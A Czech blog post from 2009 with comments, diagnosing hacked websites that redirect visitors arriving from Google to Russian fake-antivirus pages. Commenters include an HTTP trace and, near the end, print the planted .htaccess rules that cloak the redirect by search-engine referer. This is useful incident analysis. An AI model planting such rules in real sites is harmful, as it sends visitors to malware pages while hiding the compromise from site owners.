Nemocny google?

17.1.2009 21:32 | Linux

Bylo nebylo, po kliknuti na vysledek vyhledavani v google se zacaly otevirat obskurni ruske stranky. Bylo jenom u me? Ne, nebylo. U me bylo az po te, co mi toto chovani reportoval znamy. Tak to take zkuste a dejte vedet.

Vypnuty javascript nepomohl. Zatim podezrivam parametr class=1 u <a> tagu.

       

Komentáře

[Zdeněk Burda]

Nechápu o čem to píšeš, nechceš to trochu rozvést?

[alkoholik]

Otevri si google. Dej si vyhledat treba dpchj a klikni si na prvni odkaz (www.dpchj.cz). Je velka sance, ze se ti misto ni zacne otevirat treba mp3zero.ru.
Neprisel jsem na to sam, napsal mi o tom znamy.

[Georgo10]

Zkusil jsem a při kliku mě Firefox upozornil, že jde o podezřelou útočnou stránku :)

Vypadá to, že web dopravního podniku hackla nějaká ruská skupina a přesměrovává web na svůj :)

[alkoholik]

Jenze to same se tyka treba i www.pizzarotella.cz. To nebude jenom o DPCHJ.

[Zdeněk Burda]

Myslím, že u google problém nebude:

 

http://www.dpchj.cz/
 
GET / HTTP/1.1
Host: www.dpchj.cz
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-2.5 Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: cs,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: UTF-8,*
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.google.com/search?num=100&hl=en&safe=off&q=dpchj&btnG=Search
 
HTTP/1.x 302 Found
Date: Sat, 17 Jan 2009 22:36:02 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7
Location: http://mp3zero.ru/kav.php
Content-Length: 304
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
 

[AsciiWolf]

Zvláštní je ale to, že to dělá jen, když je jako referer Google...

[xhurfa]

Proč zvláštní? Asi snaha zmást adminy, ne? (Aneb kterej admin půjde na svoji stránku přes google???)

[alkoholik2]

Už to nechlastej.

[vlastikroot]

Mas pravdu, zajimave.

[maniakum]

Potvrzuji. To je možná větší záhada než to proč mi nejde přečíst to zatracený cd...

[JZ]

Osobně bych to přisoudil nějaké nepravosti na serveru toho dpchj, protože po kliknutí odkaz skutečně míří na ty stránky a až tam dojde k přesměrování.

[matej21]

je to refererem :) pokud jsi prisel z google nebo z yahoo (mozna i dalsi vyhledavace, ale to nevim), tak to presmeruje na tu ruskou stranku :)

[Kvakor]

Aha, tak proto se mi nic nepresmerovalo, ani kdyz jsem docasne povolil Javascrip - referer mam defaultne vypnuty.

[hikikomori82]

Ano, je ta taka taktika ze kto zada adresu do prehliadaca priamo (napr. admin ktoremu nahlasia ze stranka je hacknuta), tomu to zobrazi normalnu stranku, ale ked je referer google (tak sa na dpchj dostane vacsina ludi) tomu zobrazia podvrhnutu.

Zmena je na stranke dpchj, je tam kod ktory cita parameter referer alebo take nieco. Google s tym nic nema.

[alkoholik]

To beru. Mam to vyzkousene i na pizzarotella, coz je uplne jiny web. Oba jedou na php, takze nastava otazka, jestli nahodou nepouzivaji stejny redakcni system a jestli nam tu nezacal behat nejaky novy cervik, ktery si dotycny system bere na musku.
Kdopak z mistnich hackeru je schpny zjistit, co na DPHCJ pouzivaji?
;)

[VRtulnikk]

Ano, vypadá to na nějaký exploit. Ale na RS bych to neviděl.

Koukněte třeba na zdrojový kód stránky http://pizzarotella.cz/admin/ , http://www.dphcj.cz/admin vyžaduje HTTP autentizaci

[AsciiWolf]

Ano, je to exploit...

http://php-fusion.co.uk/forum/viewthread.php?thread_id=23696&pid=130641

[Beetljuice]

Opera po klinutí na odkaz mlčí .... firefox i konqueror mě hodí na DP města Chomutova, kam směruje odkaz ...

[alkoholik]

Tak zkus jeste pizzarotella.
Me to presmerovalo i v elinksu.

[Beetljuice]

Haa samý hambatý obrázky no fuj

[Andrtalec]

Příloha:

• hehe.png (200404 bytů)

Mnooo Ja som ignoroval výstrahu Firefoxa a naskočila mi stránka s Antivirusom 2009 ktorý mi začal skenovať najprv disk C a potom aj disk D na mojom PC-BSD ... pred očami mi behali prehliadané samé exe a dll ... a na záver mi tam dokonca našiel aj nejakú háveď

[pc2005]

Jo to se taky směju, když mě nejaké stránky chtějí chytit na fake antiviru .

[sekyt]

Příloha:

• vir-scan.jpg (109892 bytů)

Tak mám člověče stejnou havěť .
Jestli já si nebudu muset pořídit nějakej antiviták.

[deda.jabko]

to se stava... jeden clovek od nas si nechaval hesla k hostingum v mailu a nejake svinstvo mu prosmejdilo celou schranku, naslo hesla a zacalo do stranek dopisovat spam.

[Luk]

jeden clovek od nas si nechaval hesla k hostingum v mailu

Hesla k hostingům má v mailu drtivá většina lidí, kteří si někdy nějaký hosting objednali. Stačí napsat červa, který bude zvládat zpracovat mail od některého většího webhostera a snadno se tak lze nabourat klidně do tisíců webů najednou.

[deda.jabko]

ono to nejdriv probihalo tak, ze bot zacal napadat stranky, ktere jsme meli z historickych duvodu na hostingu hodne pochybne kvality, takze jsme nejdriv podezrivali je. pak ale zacal napadat i stranky, ktere byly na servru, ktery spravuju a tam to slo pekne videt... sel se znamym heslem a jen na weby ke kterym mel ten clovek pristup, potazmo dostal mailem heslo.

nicmene, jelikoz se dostal i ke me na server, evidentne nemel tupe naucene sablony jednotlivych hostingu, protoze poznal hesla v ,,rucne psanych'' emailech. na druhou stranu, nechci rikat, ze by to bylo nejak slozite. moje typicka odpoved na pozadavek na zalozeni hostingu byla ve stylu: ,,ok, neni problem. URL: www.example.com; user: foo; pasw: baz;'' ;-]

[Petr Masopust]

Konkretne u dpchj je to na 99% ukradene pristupove heslo, zadne php fusion tam nebezi. Na web byl pridan tento .htaccess:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://mp3zero.ru/kav.php [R,L]


a to bylo cele kouzlo ....

 

[Petr Masopust]

A na jinem webu jsem nasel jeste upgrade:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://j-5.info/2/go.php?sid=2 [R,L]
 

Celkem byly napadene 3 weby ktere spravoval 1 clovek takze teorie cteni hesel z jeho mailu je velice pravdepodobna.